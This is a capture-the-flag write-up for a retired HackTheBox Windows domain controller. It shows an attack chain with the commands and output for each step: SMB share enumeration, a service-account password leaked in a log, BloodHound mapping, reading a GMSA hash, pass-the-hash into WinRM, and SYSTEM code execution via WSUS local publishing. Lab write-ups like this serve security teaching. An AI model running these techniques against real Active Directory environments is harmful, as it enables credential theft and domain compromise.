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[ writeup · case #004 ]

Logging

A known low-privilege domain user (wallace.everette) has SMB access to a world-readable Logs share, whose IdentitySync trace leaks the svc_recovery service-account password. svc_recovery is permitted to read the GMSA password of msa_health$; its NTLM hash gives a WinRM shell and the user flag.…

date
2026-04-18
read
2 min
tags
#htb #retired
platform
htb
os
windows
difficulty
medium

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a <target> -- -A
text
PORT      STATE SERVICE     REASON          VERSION
593/tcp   open  ncacn_http  syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap    syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
Open [REDACTED:IP]:445
Open [REDACTED:IP]:464
Open [REDACTED:IP]:593
Open [REDACTED:IP]:636
Open [REDACTED:IP]:3269
Open [REDACTED:IP]:3268
Open [REDACTED:IP]:5985
Open [REDACTED:IP]:8531
Open [REDACTED:IP]:8530
Open [REDACTED:IP]:9389
Open [REDACTED:IP]:47001
Open [REDACTED:IP]:49664
Open [REDACTED:IP]:49666
Open [REDACTED:IP]:49665
Open [REDACTED:IP]:49667
Open [REDACTED:IP]:49671
Open [REDACTED:IP]:49686
Open [REDACTED:IP]:49690
Open [REDACTED:IP]:49687
Open [REDACTED:IP]:49691
Open [REDACTED:IP]:49712
Open [REDACTED:IP]:49718
Open [REDACTED:IP]:49744
Open [REDACTED:IP]:49776

Key findings:

  • 445/smb, 389/636 ldap, 5985 winrm, 9389 adws — a Windows Server 2019 domain controller, DC01.logging.htb.
  • 8530/8531 — WSUS (Windows Server Update Services). This is the eventual root vector.
  • The provided wallace.everette credentials authenticate over SMB/LDAP.

Domain auth check

bash
❯ nxc smb [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
SMB         [REDACTED:IP]    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [REDACTED:IP]    445    DC01             [+] logging.htb\wallace.everette:[REDACTED:CRED] 
❯ nxc ldap [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
LDAP        [REDACTED:IP]    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never)
LDAP        [REDACTED:IP]    389    DC01             [+] logging.htb\wallace.everette:[REDACTED:CRED] 
❯ nxc winrm [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
WINRM       [REDACTED:IP]    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
WINRM       [REDACTED:IP]    5985   DC01             [-] logging.htb\wallace.everette:[REDACTED:CRED]

wallace.everette has SMB/LDAP but not WinRM — so this is a stepping stone, not a shell.

SMB shares

bash
❯ nxc smb [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]' --shares
SMB         [REDACTED:IP]    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [REDACTED:IP]    445    DC01             [+] logging.htb\wallace.everette:[REDACTED:CRED] 
SMB         [REDACTED:IP]    445    DC01             [*] Enumerated shares
SMB         [REDACTED:IP]    445    DC01             Share           Permissions     Remark
SMB         [REDACTED:IP]    445    DC01             -----           -----------     ------
SMB         [REDACTED:IP]    445    DC01             ADMIN$                          Remote Admin
SMB         [REDACTED:IP]    445    DC01             C$                              Default share
SMB         [REDACTED:IP]    445    DC01             IPC$            READ            Remote IPC
SMB         [REDACTED:IP]    445    DC01             Logs            READ            
SMB         [REDACTED:IP]    445    DC01             NETLOGON        READ            Logon server share 
SMB         [REDACTED:IP]    445    DC01             SYSVOL          READ            Logon server share 
SMB         [REDACTED:IP]    445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.     

A non-default Logs share is readable, and WSUSTemp confirms the WSUS local-publishing setup.


Foothold — credentials from the Logs share

bash
❯ smbclient \\\\[REDACTED:IP]\\Logs\\ -U 'wallace.everette'%'[REDACTED:CRED]'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 16 23:10:09 2026
  ..                                  D        0  Thu Apr 16 23:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 23:10:09 2026
  IdentitySync_Trace_20260219.log      A     8488  Thu Apr 16 23:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 23:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 23:10:09 2026

IdentitySync_Trace_20260219.log embeds a service-account bind credential in plaintext:

bash
BindUser: "LOGGING\svc_recovery", BindPass: "[REDACTED:CRED]"

User — GMSA read → msa_health$

Request a Kerberos TGT as svc_recovery and map the domain with BloodHound:

bash
❯ fkt impacket-getTGT 'logging.htb/svc_recovery:[REDACTED:CRED]' -dc-ip [REDACTED:IP]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_recovery.ccache
❯ export KRB5CCNAME=svc_recovery.ccache
bash
❯ fkt bloodhound-python -d 'logging.htb' -u 'svc_recovery' -p '[REDACTED:CRED]' -c All -ns '[REDACTED:IP]' -k --zip

INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: logging.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.logging.htb

svc_recovery is listed under PrincipalsAllowedToReadPassword for the group-managed service account msa_health$, so its managed password (and NTLM hash) can be read directly:

bash
❯ KRB5CCNAME=/home/light/htb/machines/logging/svc_recovery.ccache fkt nxc ldap DC01.logging.htb -d logging.htb -u svc_recovery -p '[REDACTED:CRED]' -k --gmsa
LDAP        DC01.logging.htb 389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never)
LDAP        DC01.logging.htb 389    DC01             [+] logging.htb\svc_recovery:[REDACTED:CRED] 
LDAP        DC01.logging.htb 389    DC01             [*] Getting GMSA Passwords
LDAP        DC01.logging.htb 389    DC01             Account: msa_health$          NTLM: [REDACTED:HASH]     PrincipalsAllowedToReadPassword: svc_recovery     

Pass-the-hash into a WinRM shell as msa_health$ and read user.txt:

bash
❯ evil-winrm -i logging.htb -u 'msa_health$' -H [REDACTED:HASH]

*Evil-WinRM* PS /home/light$> whoami
logging\msa_health$

Privilege Escalation → Root — WSUS local publishing

msa_health$ runs in the WSUS publishing context exposed on 8530/8531 (WSUSTemp share, C:\ProgramData\UpdateMonitor\). Staging a signing certificate and a package there, then approving it as a locally-published update, makes WSUS execute an attacker-supplied command as SYSTEM:

bash
upload /tmp/req.csr C:\ProgramData\UpdateMonitor\req.csr
upload /tmp/Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
openssl pkcs12 -in wsus_srv.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus_srv.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:

Key Takeaways

  • Log/share hygiene matters: a readable Logs share with a plaintext service-account credential was the entire foothold.
  • PrincipalsAllowedToReadPassword on a GMSA is a direct, hash-yielding privilege path — always check it in BloodHound.
  • WSUS local publishing under a reachable service account is a SYSTEM-level code-execution primitive.